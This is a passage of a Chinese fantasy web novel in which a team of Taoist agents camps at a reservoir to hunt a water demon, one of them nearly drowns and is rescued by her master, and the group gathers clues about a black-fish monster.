傅清微:【正准备打车,怎么了?】 肖灵秀:【我寻思整点烤串,不然晚上干坐着怪无聊的】 傅清微:“……” 不愧是一生松弛的阁皂派。 傅清微:【我去买】 肖灵秀:【爱你~】 傅清微连忙对着身边的人澄清:“她不是那意思,就是同伴的友谊。” 穆若水挑眉,不置可否:“为师是那么小气的人吗?” 傅清微:“不是,是徒儿以小人之心度君子之腹。” 穆若水神情大悦,忍不住伸手轻轻捏了捏她的脸颊。 傅清微顺势握住她手,将脸贴在她掌心,眉眼弯弯。 小小师尊,拿捏。 …… 傅清微买完了一干烧烤工具和食材,打车往目的地水库驶去。 五点多天还亮着,提前到达的同伴们已经在白副队的帮助下扎好了帐篷,一行六人,三个双人帐篷。 几人收到傅清微抵达的信息,连忙出来到下车点帮她拿东西,连梦游神扶鸾也来了,走路也是飘着的,眼睛半闭不睁,肖灵秀在边上提醒她避开行进路上的障碍物。 这个水库将近三面环山,一边是修筑的大坝,连通嘉陵江,青山绿水,气候宜人。 如果不是出了命案,这时节正是踏春的时候。 现在水库被封起来,只有灵管局的六个年轻人在这里,各种新鲜的肉串,拎着烤炉,说说笑笑,仿佛结伴春游。 扶鸾回到营地后就被塞进帐篷睡觉了。 肖灵秀、公羊荪和璇玑三人摆炉子,准备烤前工作。 傅清微则在岸边悬空拉了一根长长的红线,每隔一米系一枚小铜铃,绕在营地周边的树干,在其中一棵树上正对着湖面,挂了一面八卦镜。 傅清微走回来:“晚上咱们轮流守夜,如果有东西上岸,铃铛就会响。” 肖灵秀立刻将拆了一半的炭火丢下,噼里啪啦地鼓起了掌。 公羊荪第一个响应,龙璇玑愣了一下,马上用力鼓掌,手都拍红了。 傅清微:“……” 先不提抓妖的事,她们小队情绪价值给的是真足啊。 肖灵秀捧着脸星星眼:“傅道友,没有你我们可怎么办呀,不敢相信没有你的日子。” 公羊荪:“就是就是。” 龙璇玑情不自禁的:“嘿。” 傅清微高兴归高兴,也有点受不了这样,连忙做了个停止的手势。 肖灵秀哈哈两声,收放自如。 穆若水路过傅清微身边,擦肩而过清晰地叫她听见两个字:“幼稚。” 傅清微:“……” 穆若水回头看了她一眼,催促:“还不过来?” 傅清微不明所以地迅速跟上去。 穆若水带她走到一棵粗壮的树后,挡住二人交谈的半个身影。 穆若水方夸赞道:“做得不错。” 徒儿做得好就要夸,她不是个严苛的师尊。 傅清微熟练地顺杆爬,脸也凑近了:“师尊想奖励我什么?” 穆若水似笑非笑:“奖励你再吃一次师尊的手指。” 傅清微:“……” 这是奖励自己还是奖励她? 要不是不远处还有人,傅清微就要问她:可以换一张嘴吃吗? 傅清微笑起来:“好呀,先记账,等结束以后吧。” 穆若水:“……” 她是开玩笑的,但既然约定成真了,就当做她的奖励吧,也是自己的。 她们师徒一体。 肖灵秀三人看着树后,那棵大树只能挡住一个人,傅清微站在外面,但是两个人说着说着话,越贴越近,一棵树几乎同时挡住了两个人。 肖灵秀:“公羊道友,你怎么脸红了?” 公羊荪白净面颊染上点点傍晚的云霞。 “啊?我第一次见两个女子这样……有些不太习惯。” “以后见多了就好了,山下的世界很精彩的。”肖灵秀拍了拍她的肩。 “谢谢肖道友。”公羊荪忍不住又往二人拥抱的方向瞧了眼。 傅清微不好在这个关头丢下队友谈情说爱,躲在树后亲了一下师尊的脸就赶紧出来了,入队归置烤串,拿出来摆在金属架子上。 不算扶鸾,全员凑齐在烤炉旁。 傅清微说了在学校打听到的。 “3月21日晚,有鬼在湖边目击到那个妖怪,身高两米五左右,穿着黑色的斗篷,全身包裹在阴影里。有个鬼远远地看到了它的脸,说它没有五官,脸的地方是一团黑雾。” 傅清微环视四人,说:“你们怎么看?是不是线索太少了?” 肖灵秀啃了一下自己的手指,道:“毫无头绪。” 公羊荪:“与其猜测,不如明日下水探个究竟,希望它就在水中。” 肖灵秀:“我再去捡点树枝回来,晚上点篝火。” 公羊荪也一道去了。 留下湖边的一家三口和帐篷里的睡神。 傅清微把调料拿出来,穆若水在旁边看她一样一样地摆放东西,井井有条,动作漂亮,手指修长,赏心悦目。 傅清微听见身后的脚步声,以为是肖灵秀回来了,回头一惊,扶鸾站在那里,困倦的神色一扫而空,长身鹤立,向她点头道:“傅道长。” 傅清微:“你醒了,扶鸾。” 扶鸾不是道士,傅清微只好连名带姓叫她。 众人都聚齐了,湖边火堆点起来,烤串滋滋地在烤架上流油,扶鸾坐在围成圈的队友里,面带歉意,说:“真是不好意思,拖累大家了。” 肖灵秀代表所有人大度道:“说的什么话,都是同伴,再说你的情况大家了解,你也不是故意的,情有可原嘛。” 傅清微第一次进灵管局,听到了一个词,叫作:鸾生。 她以为是孪生姐妹的孪生,但占英给她解释说,鸾生是扶乩中请神的媒介,神明附体的那个人就叫鸾生。 之后,也就是前几天,傅清微在灵管局的招考比试中,亲眼见到了鸾生,也就是扶鸾。 扶鸾的体质像傅清微一样特殊,但她是血脉传承,有独门秘术扬长避短,她的身体与神明的契合度极高,后遗症就是嗜睡,比试那几天她除了上场,其他时候都在睡觉。因为连着请了好几次神,消耗过度,到现在才彻底清醒过来。 能请到什么神不由本人决定,每日只能请一次,要么超神,要么超鬼。 这是鸾生的弊端,但不妨碍她是灵管局要吸纳的秘密武器。 局里还有另一位鸾生,德高望重,进了灵管局或许能教导她再进一步。 把扶鸾放到其他组灵管局不放心,思来想去只有这组既能有她发挥的余地,又能保护她。 扶鸾叹了口气,仍然自责:“白天大家都在忙,只有我在睡觉。” 肖灵秀说:“不是还有明天吗?你会水吗?” 扶鸾连忙点头:“我会的,我从小在江边长大。” 肖灵秀和公羊荪欣喜,异口同声:“那真是太好啦。” 在场唯一不会水的傅清微:“……” 她将最后的希望寄托到了璇玑身上,亲切地问道:“璇玑会不会水呀?” 穆若水唇角挑了挑。 仿佛提前意识到她在自取其辱。 龙璇玑说:“不会的。” 傅清微:“那你会在水底呼吸吗?” 龙璇玑:“也不会。但娘……傅道友忘了吗,我是一棵桃树,五行里水生木,对我来说是滋养,根系也可以汲取水中的氧气。虽然不能一直待在水里……” 傅清微打断她:“好了你不用再说了。” 穆若水伸手捧过她的脸,让备受打击脆弱的她靠在自己的肩膀上。 她们俩悄悄的对话叫肖灵秀她们听去了,肖灵秀和公羊荪互视一眼,笑道:“傅道友不必伤心,岸上也要留一……两个人的,你和穆道友明天不用下水。” 傅清微坐直了:“这怎么行?” 肖灵秀一句话说服了她:“那我和公羊道友留在岸上?” “……” 公羊荪递了一串孜然羊肉过来:“人各有所长,有傅道友在岸上守着,我们也放心,此事不必再讨论了。” “……好。” 傅清微暗暗发誓这次回去后一定学会游泳。 在场除了扶鸾以外都是道士,傅清微没买牛肉,其他的串众人吃得饱饱。肖灵秀给改了刀的鸡翅中刷了一层油,表面金黄,油星滴入炭火,滋啦一声扬起饱和度高的亮色火焰,映得她眼珠里两簇小小的火苗。 “最后一串了,谁要?” 众人都在揉肚子。 傅清微靠在穆若水的怀里,也揉着自己的胃部,穆若水的手覆在她的手背,被带动着动来动去。 管摸不管揉。 “实在吃不下了。” “我也。”声音有气无力地陆续附和。 肖灵秀也吃不下,她眼珠一转,一把塞给了龙璇玑,笑眯眯:“小孩子长身体,多吃点。” 龙璇玑苦着脸把烤翅吃了。 吃饱喝足,收工。 两人一组轮班守夜,人选和帐篷安排一致:扶鸾和龙璇玑守前半夜,璇玑年纪小要早睡,扶鸾也需要更多睡眠。肖灵秀和公羊荪守中间,最容易犯困的阶段。 傅清微和穆若水守负责后半夜,四点到八点,小情侣早上还能一起看个日出。 “多浪漫啊。”提出分组的肖灵秀眉飞色舞地说。 “我没意见。”公羊荪立刻响应。 本来还想挣扎一下,此地无银三百两的傅清微:“那好吧。” 惜字如金的穆若水大发慈悲开口:“可。” 肖灵秀朝她拱了拱手。 总算讨了一次真人欢心。 既然待会要守夜大家都不闲聊了,除了扶鸾和璇玑以外,两组人分别钻进了帐篷抓紧时间睡觉,从里面拉上拉链,便两耳只闻帐篷外的风声,吹得布料飒飒的响。 帐篷是临时准备的,条件不可能太过宽敞,傅清微目测了一下,比自己在家睡的一米五的床要窄,两个人并排躺是没问题的。 但窄不是最主要的,帐篷最高只有1米,空间局促,她们俩个子都高,进去以后只能跪坐,腿和脚都占了大部分空间,面对面近距离,小小的帐篷里都是穆若水身上的香气。 那种时浓时淡的,会蛊惑人心的味道。 如果这是真的露营,她说不定会提前领取她的奖励——吃师尊的手指。 但不是,外面一组同伴还在兢兢业业守夜呢。 傅清微把外衣和剑都解了,搁在帐篷外侧,钻进了睡袋里,迅速闭眼。 “师尊晚安。” “晚安。” 傅清微迟迟没感觉到她躺下来,反而一片阴影笼罩在她头顶,傅清微睁开眼看见她的好师尊坐在她的身边:“?” 穆若水伸手戳了一下她的睡袋:“这个只能睡一个人吗?” “应、应该吧。” “那算了。”穆若水说,“你睡吧,我守着你。” 她才不要睡在这种丑东西里面。 傅清微知道她不像自己那样需要睡眠,这种时候就不多纠结了,往她的身边靠了靠,抵着她的大腿睡着了。 穆若水等她睡着以后,伸手温柔地捋了捋她的额发。 夜深人静的湖边,树影婆娑,微风吹过红线系着的铃铛,一声也未响。 湖面呈夜的黑色,山的影子倒映进水面,被黑暗吞噬,庞大的阴影自水面中央露了头,红色的瞳孔扫过岸上的篝火,缓慢地又沉了下去。 闹钟响起的前一分钟,帐篷外响起肖灵秀轻轻的叫醒声。 “傅道友,傅道友?” 傅清微蓦地睁开眼,惊醒了身边坐着睡觉的女人。 傅清微从睡袋里钻出来,套上外袍,提剑出帐篷换班。 肖灵秀回去之前小声说道:“我们俩刚刚看见那个东西出来了,它又回去了,就在水里。” 傅清微点头表示知道了。 龙璇玑睡前留了一堆桃枝当柴,傅清微坐在漆黑的夜色里,把篝火烧得旺旺的,驱散身上的寒意和困意。 穆若水和她并肩坐着,伸手去感受火焰的温度,姿态甚是惬意。 她将烘热的手掌贴在傅清微脸上,傅清微打着哈欠道:“师尊真——哈欠——厉害。” 穆若水想生她气,看她觉还没醒,便轻易原谅了她:“我看着,你继续睡吧。” 傅清微坚决摇头。 本来穆若水不来的话就该她一个人守夜了,不能太理所当然地依赖她。 穆若水:“算了,你……” 傅清微:“嘘。” 后面的两座帐篷还在睡觉,如果小三花算的话,是三座。 傅清微盯着湖面,又不能聊天说话,也不能这时候玩弄她,穆若水干脆拎着露营椅坐近了点。 傅清微目视前方,脸还没挪过来,一侧肩膀微微一沉,穆若水的脑袋枕了上来。 傅清微眼睫眨了一下,快速地又眨了两下。 她悄悄用余光探了探,确定是师尊靠在她身上睡着了。 傅清微小心翼翼地正襟危坐。 篝火灭了。 一直到树枝燃尽也没有人再去添。 天亮了,傅清微叫醒了她,两人坐在湖边仍然并肩看了同一场日出。 傅清微暗暗揉着自己的肩膀。 八点,白术送来了专业的潜水设备。 按照之前的分工,傅清微和穆若水守在岸上,其他人下水。 四人依次检查完氧气装备,陆续从湖面下去,眨眼间就看不到她们的踪迹了。 傅清微确认过岸上的红线,来回踱步,只能耐心地进行漫长的等待。 穆若水倚靠在树旁,一只手给猫挠下巴,怀里的小三花露出肚皮,舒服得直呼噜。 她才不管他人的死活呢,她只会护着傅清微。 大半个小时过去,水面终于有了动静,肖灵秀从湖面冒出一个头,满脸水珠,似乎对她焦急地说了句什么,傅清微听不清。 肖灵秀加快速度向她游过来。 哗啦一声钻出水面。 傅清微追问:“怎么了?其他人呢?” 肖灵秀喘着气说:“先拉我上去。” 她伸出一只湿淋淋的手,傅清微不疑有他,和她手掌交握,往上一拉。 肖灵秀藏在阴影里的脸低低一笑,一股大力从她们交握的手上传来,傅清微一惊,脚下不稳,整个人不受控制地往下栽,扑通一声巨大的落水声。 湖水瞬间灌进了她的眼耳口鼻。 她身形急剧往下沉,似乎有什么东西拽住了她一直往湖心深处拖,根本不是人类能有的力量。 人在溺水的一瞬间大脑会一片空白,恐惧感占据一切,傅清微鼻子和嘴巴里不断吐出气泡,胃部短时间喝进了大量的水,手脚胡乱地蹬着,氧气在挣扎中迅速消耗,脑子很快有了缺氧的症状。 傅清微在最后一刻闭住气,战胜了溺水的本能,奋力抽出了背后的剑,闭着眼凭感觉往前方一挥。 一声非人的唳叫过后,束缚她的力量消失了。 她回想着网络上教的那些自救方法,要放松身体,放弃挣扎,双手抱在身前,人就会自动往上浮。 但根本没用,她还是在往下沉,直到触到了湖底,最后一丝氧气耗尽。 水从她的嘴巴和鼻子涌进去,呛得她鼻腔生疼,七窍到处都在痛。 原来溺水的死法也这么痛苦。 她睁开刺痛的眼睛,在失去意识的最后一秒看见一道身影朝她游了过来,青袍的衣角浮动在水中。 她不知道那是湖底的水草还是她临终前产生的幻觉。 她努力朝她伸出了手。 一只柔软有力的手掌握住了她的胳膊,傅清微已经因为缺氧接近昏迷了,双目紧闭,唇边连一丝气泡都没有。 穆若水抬头看了看离水面的距离,伸手托过年轻女人的下巴,唇瓣紧贴着她的唇,不断将新鲜的氧气渡了过去。 第84章 小三花次次被穆若水带着出外勤。 作为一只精力旺盛的小猫, 虽然被抱在怀里很舒服,但是摸久了它就不耐烦了,穆若水一伸手它就咬她手指, 不真咬, 把尖牙印在上面, 边咬她边拿圆眼睛瞅她,以表示自己的不满。 它要下地!在风里奔跑! 穆若水是不可能放它在湖边跑酷的, 她不担心它迷路乱跑, 但她怕这只蠢猫掉湖里被妖怪吃了,傅清微肯定要伤心。 所以穆若水退而求其次, 转身走向她们俩的帐篷。 傅清微第一次出任务, 因为不会游泳就她被留在岸上,一边焦急一边内疚,不时来到湖水边缘远眺, 看有没有异动发生。 穆若水回头时的最后一眼她还站在那里, 正和之前一样走向湖边观察。 等她将猫放进帐篷,听见了傅清微在外面的说话声。 “怎么了?其他人呢?” 那几个人还没回来,她在和谁交谈? 接着就是扑通的巨大落水声响。 穆若水冲出来岸边已经没有她的踪影了, 湖水激烈的涟漪从落水的地方一圈圈荡出去。 穆若水连外袍都没脱,从涟漪中央跳了进去。 拖拽傅清微的东西动作奇快,水里就是它的主场,箭一般破浪往湖心中央飞去。 穆若水虽体质强悍, 但强龙难压地头蛇,她的眼睛即便在黑夜视物无异, 在光线曲折的水下也会受到影响。 一时之间穆若水竟难以迅速拉近距离。 眼看着傅清微被那东西拽住往更远更深处沉, 溺水后仰面朝上,在水中拼命挣扎, 气泡不停地从她口中涌出来,水灌进去,充斥她的七窍和胃腑。隔着眼前的水雾,她几乎能想象到她的痛苦,感受到生机的衰弱和流逝。 莫大的恐惧席卷了穆若水的胸腔。 如果傅清微今日死在这里,她要这湖里所有的生灵给她陪葬! 不,她不能死。 穆若水拼命地游过去。 等等我,再等等我。 她一定能救到她的。 傅清微挥剑斩断了拖拽她的不明生物束缚,往湖心的去势停止,只余下沉的趋势。 长剑掉进湖底,因为意识无法再控制身体,四肢自然地舒展在水中,双目紧闭,像是永远睡着了。 闭上眼的最后一刻,她好像看见她了,保持着向她伸手的姿势。 穆若水向前握住了那只手,接着攥住了她的胳膊,摸到了跳动的脉搏。 她将傅清微带入怀里,毫不犹豫地端过她的下巴,紧紧贴上她的唇,把所有的氧气借由贴合的唇瓣渡了过去。 傅清微尚未完全昏迷,她缺氧的大脑暂时恢复了意识,支撑她睁开眼睛,水雾迷离,刺痛感让她又闭上了。 隐约看见贴在她面前的脸部轮廓。 记住了印在唇上陌生的柔软触感。 穆若水带着傅清微浮上水面,一只手环着她的腰,此时离岸边已经十分遥远。 穆若水低头看着怀里泡得唇色惨白的年轻女人,伸指探了她微弱的鼻息,她不知道现在的傅清微能不能自主呼吸,于是又向她渡了两口气。 傅清微被带到岸上,躺在穆若水脱下的外袍上,脸侧向一边。 湖里的水还算干净,口鼻没有被异物堵住,七窍的水很快顺着流了出来,浸透了土石。 “咳咳咳……” 傅清微忽然呛咳了起来,穆若水将她半扶起来,轻轻拍打她的背部,傅清微吐出了大量喝进胃部的水,呛得眼眶通红,喃喃地念了声“师尊”,这才在她的怀里再次陷入昏迷。 穆若水让她枕在自己的腿上休息,傅清微昏睡的脸颊从上方落下一点冰凉。 * 话分两头。 肖灵秀一行人穿着专业的潜水设备下了水,一进入水中,肖灵秀便打了个手势。 由于水域实在广阔,为了提高效率,大家决定分头调查,四人分别负责一个方向。 白术给她们准备了潜水手电筒,光照强,距离远,可以穿透水波。不仅可以照明,还可以用来当信号器。 水底交流不便,一旦有人发现妖怪的踪影,就用明暗交替的电光召唤同伴。 四人同时在自己的方向前行,路过浮游生物和鱼群,越往湖心越是心下惊骇,这片湖未免太深了,底下视野越来越暗,仅凭自然光几乎无法观测,幸好她们做好了充足的准备,否则仅靠闭气,要是在这里遭遇妖怪,凶多吉少。 但也正说明,极有可能妖物就盘踞在湖水的最深处,四人不约而同地往深处去找。 头顶的阳光透不进最深的水底,潜水手电的光在湖底愈发亮眼。 忽然,有一束光灭了下去。 半秒后,重新亮了起来。 明、暗、明、暗,规律地闪烁着。 十几分钟后,四人重新聚集到一起,最先发出信号的是扶鸾。她是几人中水性最好,在水里眼神也最好的,她用手电晃了晃远处的一片水草。 湖底淤泥堆积,水草丰润,绿带幽幽地飘摇,三人瞧了半天什么也没瞧出来。 在哪儿? 扶鸾的手电光打在了一片淤泥里,深褐色的湿泥旁边,红色的瞳孔忽然睁开。 众人:“!!!” 庞大的黑影从淤泥里缓缓钻出来,一团包裹在黑气里,不知道什么东西朝她们扑了过来。 肖灵秀反手抽剑,一道剑光正面斩上去。 公羊荪的软鞭在湖里施展不开,将真气注入双手,外化罡气,一双手掌泛出白雾,随后迎上。 扶鸾掉头就跑,恨不得生出鱼鳍。 见龙璇玑找了个观战位,她连忙躲到璇玑的身后。 …… 远离岸边的湖心中央出现了一个巨大的白色漩涡。 围绕着漩涡的所有鱼类拼了命地朝四周游,却不断被吸进了漩涡里。 肖灵秀等人也没好到哪里去,她们在水里无所依仗,身子跟着转圈圈。唯有璇玑把自己的根系扎进了湖底,虽然没有在地面那么牢固,足够她维持身形,不至于甩得晕头转向。 扶鸾紧紧抱着她的腰,随水波荡来荡去,仿佛飘摇的水草。 肖灵秀和公羊荪旋转的身体被止住,原来是腰上各缠了一根青褐色的藤蔓,龙璇玑控制藤蔓将二人拉到自己身边,总算没让二人在漩涡里和鱼儿缠缠绵绵。 四人互视一眼,棘手了。 这妖怪是水生,会控制漩涡,想在水里抓到它,难上加难。更重要的是,她们俩的战斗力在水里大打折扣,公羊荪用不了鞭子,她的符也拿不出来。 但肖灵秀决定再试一次。 占师叔连蛟都能拖住,她不信自己连水怪对付不了。 公羊荪也点点头。 龙璇玑缠着二人的腰,将她们再次送了出去,两人分别灵活地绕过漩涡,往黑雾游去。 肖灵秀手里的长剑剑芒暴涨,接连挥出四五道剑气,水面都被这股剑气带得汹涌波动,原本聚在一团的黑雾被剑气击中,竟然微微散开了一瞬,底下传出一声怪物的哀嚎。 公羊荪罡气包裹的手掌从上方落下,打在了怪物的头顶,水流丝毫没有拖缓她的速度,眨眼间便拍下了五六掌,怪物两米五的身子有半米陷进了湖底。 好! 二人正要再接再厉,一团黑雾里猩红的眼睛睁开,二人不知为何身形定格了片刻,脑子里忽然一片空白,等反应过来,黑雾已经逃开了她们的攻击范围。 黑雾见没能讨到好果断出逃,留得青山在,销声匿迹一段时间,再卷土重来。 此地水域辽阔,一边大坝连着陵嘉江,它要是趁机潜入江里,那真是大海捞针。 潜水手电的光从远处打过来,直直照在了扶鸾脸上。 肖灵秀&公羊荪:此时不出手,还待何时?! 扶鸾松开了璇玑的腰,双手结印开始念咒请神。 在她睁眼之前,谁也不知道能请到什么神灵,只盼着人在水底,能请到专业对口的概率大大提高。 黑雾逃得只剩一阵烟,三人焦急地看着在潜水面罩里闭眼的扶鸾。 一股柔和的水流从扶鸾身上荡开,三人却被这股温和的力量不受控制地推上了水面,接二连三的水柱从湖底卷起来,如同龙卷,比方才的漩涡强上数倍。 白色的水龙卷在湖面纵横,所向披靡。 扶鸾破水而出,凌空站立,潜水装备早就不见了,一双平时睡不醒的眸子冰冷漠然,抬手一挥,又是一片水龙暴起,几乎将半边湖水都倾翻过来。 目瞪口呆的三人:“……” 岸上的穆若水眯了眯眼,替傅清微挡住扑到面前的水汽。 刚醒过来的傅清微在她腿上睁开眼:“师尊?” 穆若水说:“没事,下了点小雨。” 傅清微意识还不清醒,仿佛回到了蓬莱观的后院。 傅清微习惯睡午觉,山上雨水多,她经常听着雨声醒来。 师尊总是在午后守在她的床前,对着刚醒懵懂的她说:“没事,下了点小雨。” 其实傅清微喜欢下雨,下雨也并不是什么大事,只是她喜欢穆若水在她小憩睡醒后,对她温柔说话的语气。 所以每次她听着雨声醒过来,都装作茫然不知发生何事。 而穆若水知道她喜欢听午后的雨声,所以时不时算着她快醒来的时间,画一道降雨符,然后走进她的屋子里。 雨丝如线下在院子里,天地间最幽静的时刻莫过于此。 傅清微将脸枕在女人的腿上,侧头看着窗前的细雨,穆若水的视线落在她专注赏雨的侧脸。 天地间唯有她们两人。 大大小小的水龙卷充斥着湖面,蔓延到前方每一个角落,黑雾遁无可遁被逼了出来,露出了天光,一身黑色的斗篷朝空中的扶鸾攻了过去。 扶鸾手指一动,一柄由水化的长戟出现在了她的手上。 水上战成一团,水面波澜迭起,黑雾一次次逼近,一次次被长戟轻而易举地化解,在黑雾上留下一道难以愈合的缺口,怪物嘶声哀嚎。 傅清微听着湖面巨大的动静,拉了下穆若水挡在她面前的手,瞠目结舌。 傅清微:“这就是请神的力量吗?” 穆若水:“她支撑不了多久。” 请神有诸多限制,受限于体质、修为,以及神明自身的力量。像邱月白那样的当世第一,不仅可以控制自己请到厉害的神明,还能维持较长的时间。 而扶鸾年轻,修为尚浅,即使体质不错,也承载不了太久神降。 离穆若水说完话过去不到半分钟,扶鸾手里的长戟消失了,人也直直跌落水面,被龙璇玑用藤蔓缠走,浮到自己身边。 肖灵秀和公羊荪一个提剑一个运掌,乘胜追击。 受了伤的黑雾沉入湖中,从水面忽然形成的水箭可以看出它正往岸上疾速奔来。 红线上系着的铃铛齐齐发出声响,震颤不休。 一道腥风自湖面卷来。 傅清微伸手去拿剑,握了个空,她的身体还处在虚弱状态,站都站不起来,情急之下掷出一道符箓刚好打中黑雾,一团符火在黑雾身上爆开,传出刺鼻的烧焦味。 黑雾震怒,回头看离自己还有一段距离的肖、荪二人,决定先顺手杀了这个不知死活的道士。 然后它对上了穆若水的眼睛。 原本人类漆黑的瞳仁瞬间渗透了鲜血一般,双目绯色如血。 黑雾一滞,斗篷里数排密密的牙齿同时打战,两米五的身高瞬间跪成了一米五,连滚带爬地跑了,一路都没敢回头。 红光一闪即逝。 傅清微没注意到身后的异常,艰难地从地上爬起来,迎接先后游回来的四人,低头第一句话就是对不起,让她守在岸上,她却放跑了妖怪。 肖灵秀浑身湿淋淋的,接过她提早准备在岸上的干毛巾,忙道:“说的什么话,我们任何一个人单打独斗都斗不过那只怪物,你人没事就好。” 公羊荪却看她脸色惨白如纸,不像是没有事的样子,担心道:“傅道友,你是不是受伤了?” 龙璇玑着急得从湖岸边跑了过来。 扶鸾被她扶着的手落了空,差点扑通摔在地上。 傅清微任她摸着自己的脉象,回道:“我没事,只是溺水了而已。” 龙璇玑也确认她没事,但还是给她服了一颗充满异香的药丸,强身健体。 肖灵秀眯眼看着黑雾消失的方向,重新把剑绑好,说:“我们得赶紧追上去了。” 其他人纷纷响应。 傅清微胃里还有点水,咳嗽了两声呛出来,说:“水里还有一只,我们先解决哪个?” “还有一只???” “应该是水猴子。”傅清微点了点头。 她刚刚清醒后回想了很多,肖灵秀等人在斗那只妖怪,自己碰到的估计是另一个,据说水猴子会制造幻象拉人入水,伺机而噬。 傅清微:“肖道友中途有没有回来过?” 肖灵秀:“没有,我一直和公羊道友她们在一起。” 傅清微:“那就是了,你们出发后不到一小时,我看到肖道友独自回来,让我拉她上来,我心急如焚,一时大意,被拖入了水中。” 说到这里她的话语忽然顿了一下,声音也小了一些:“多亏师尊将我救了起来。” 几人都未在意她微妙的停顿,商议了一会儿,决定道:“先除掉水猴子吧,来都来了。” 肖灵秀咬牙感叹了一句:“这水猴子还挺有脑子。” 会水的人都被黑雾引走了,它来一个趁虚而入,趁火打劫,要是傅清微真的只有一个人,恐怕已命丧黄泉。 她们回程在岸上见不到人,只能从水里捞出傅清微被水猴子掏干净的尸体。 一想到这里,众人的后怕变成了愤怒。 肖灵秀火冒三丈:“居然敢害傅道友性命?咱们现在就下水,为傅道友报仇!” 扑通一声,龙璇玑已经跳了下去。 扶鸾今天不能再请神,照例还是由肖、荪、龙三人下水,一直在众人面前保持沉默的穆若水却在此时冷冷出声道:“不用你们管。” 肖灵秀&公羊荪:“?” 跳下水的龙璇玑也被拎上来丢在岸上:“?” 穆若水回头看了傅清微一眼,跃入了水中。 她身边有同伴保护,穆若水终于可以放心地去找那只水猴子,然后,将它碎尸万段! 公羊荪:“穆道友一个人下水没关系吗?” 肖灵秀:“你就放一万个心吧,她一根手指能捏死一万个水猴子。” 有慈让真人出马,唯一知道她真实身份的肖灵秀心放在肚子里,甚至有心情吃瓜,手肘碰了碰傅清微的胳膊。 傅清微落水后苍白的面颊泛起可疑的红晕,根本不敢和她对上视线。 肖灵秀双手把剑抱在怀里:“公羊道友,你知道冲冠一怒为红颜是什么意思吗?” 公羊荪迟钝:“什么意思?” 肖灵秀:“穆道友生气了。” 公羊荪反应了许久,看向傅清微慢慢涨红的脸,也拖长了音,道:“哦~明白了。” 傅清微想找个地洞钻进去。 她想躲回帐篷,又不想错过师尊回来的身影。 水猴子,在水底不断害人的一种水鬼,已是妖的一种,有着人和猴子共同的特征,人身猴面猴尾,长长的指甲,穆若水停在水猴子面前,淤泥塞满它的口鼻,将它不断地往水深处拖,让它也尝尝它之前对傅清微所做的。 水猴子被一种奇怪的力量控制住,身不由己,指甲一根一根被拔除,在水中发出非人的唳叫。 公羊荪:“你们听到什么声音了吗?” 肖灵秀隐隐约约听到一些:“好像是惨叫声,妖怪也会叫吗?” 公羊荪:“痛了就会吧,刚刚那个黑雾也会叫。” 肖灵秀:“活该!” 只有傅清微捏紧了自己的手,虽然她知道师尊很强大,但那种为她担忧紧张的心并不由主观意志决定。 穆若水折磨够了,水猴子指甲断尽,面目全非,断尾求生,飞也似的逃离她的身边。 穆若水看着它飞速远去的身影,默数了三个数:三、二、一。 湖里暴起的一条水龙将水猴子卷向半空,明亮的日光下,给岸上的傅清微远远放了一场粉色的烟花。 水花随着烟花一起落下,最后的一丝血腥味也被冲淡。 一切都干净了。 穆若水从湖底找到傅清微的剑,一并带上了岸。 她捏了个法诀烘干了衣袍,将傅清微的剑插回她背后的剑鞘,沉默不语。 傅清微抬手抚上她眉间的隆起,来回轻抚。 几人默契地背过身去。 傅清微的指腹来到女人的眉骨,一点一点地抹平眉眼间的阴郁和自责。 “没事了,没事了。”她不断对她重复着这三个字。 穆若水抬手抓住她的手,摊开她的掌心,将自己的脸贴了上去。 没等傅清微体会到她脸颊的温度,她已将傅清微的手松开,旋即退后一步,似乎自己也很惊讶她刚刚做出的举动。 傅清微也愣住了。 她心想:师尊这是在向她撒娇吗? 不知想到什么,傅清微抬手用指尖碰了碰自己的唇。 第85章 表情两番变化后, 穆若水神色如常。 “好了,没事了。”这次是傅清微对背过去的几人说的。 几人嘻嘻哈哈地转过来。 你看我我看你,反正就是尽量不看傅清微, 她脸皮薄, 其他几个都是孤寡, 脸皮也厚不到哪去。 龙璇玑的眼神一如既往只盯在傅清微身上,毫不避讳的, 还是把傅清微看得脸红了起来。 她连忙展示在岸上的收获, 把话题转移到正事上。 傅清微面对众人摊开了掌心,亮出了手里的一片巴掌大的鱼鳞, 漆黑如墨, 在阳光下闪闪发亮。 “刚刚那只妖怪被我的符火击中,这是从它身上掉下来的。” “太好啦傅道友,你简直是我们的大功臣, 没有你我们真的要完蛋了。”有肖灵秀在, 就不用担心团队的情绪价值,只会多不会少。 还有随时随地附和她的公羊荪:“就是。” 龙璇玑笑的一声:“嘿。” 扶鸾醒后第一次见这阵仗,不由地在旁牵了牵唇。 肖灵秀接过那片鱼鳞, 有一股淡淡的烧焦味,但是对鳞片本身没有太大损坏,光泽依旧,可见怪物肉身的强度不是一般高。 符火非同寻常火焰, 所以才能穿透黑雾伤到它。可它也只掉了一片鱼鳞而已,普通的邪祟被打中, 会被符火焚烧殆尽, 最不济也会受重伤。 刚刚她们在水底虽然也打伤了黑雾,但湖底情况复杂, 很难清理现场找到痕迹,这片鱼鳞确实帮了大家的忙,说是功臣也并不为过。 公羊荪在阳光里端详那片鱼鳞,说:“所以它的真身果然是鱼。” 扶鸾自小在江边长大,对水里的怪物知道的比较多,出声说:“《子不语》里记载过有一种妖怪,叫作黑鱼。通体漆黑,身材高大,穿着黑衣服,和监控拍到的黑影,学校里的目击鬼所说的吻合。” 她昨晚守夜顺便补了自己睡觉时错过的已知线索。 除了穆若水和龙璇玑,其他人目光交换,不约而同地冒出相同的疑问。 黑雾底下的真身是黑鱼精,那黑雾是什么? 黑雾里那双猩红的眼睛又是什么? 它是一直在水底吗?为什么会忽然作乱,就像鹤市去年的蛟祸,是偶发的个例,还是其中存在某种联系? 这一切和黑雾有关系吗? 最后两个问题只有傅清微想到了,因为其他人去年都不在鹤市,是今年才来考试的。公羊荪更够呛,她刚下山,这是她第一个任务。 不过出山前,她师父说,人间将有巨变,让她万事小心,实在不行就回终南山。 公羊荪没打算回去,也无惧前路。 “不管是什么,咱们总得除掉它,不能让它再害人。”公羊荪提了个细节,说,“它的红色眼睛有古怪,我和肖道友对上那双眼睛以后,脑子一片空白,耳朵里同时有很多人在说话,非常吵,而且会头痛。” 肖灵秀:“对,所以打斗时尽量不要看它的眼睛。” 傅清微:“记住了。” 怪物刚刚上岸时好像她也看到了对方红色的眼睛,但当时它似乎在看师尊,所以傅清微没有受到影响。 傅清微补充:“它的眼睛好像需要对视才能发挥作用。” 肖灵秀&公羊荪:“好!” 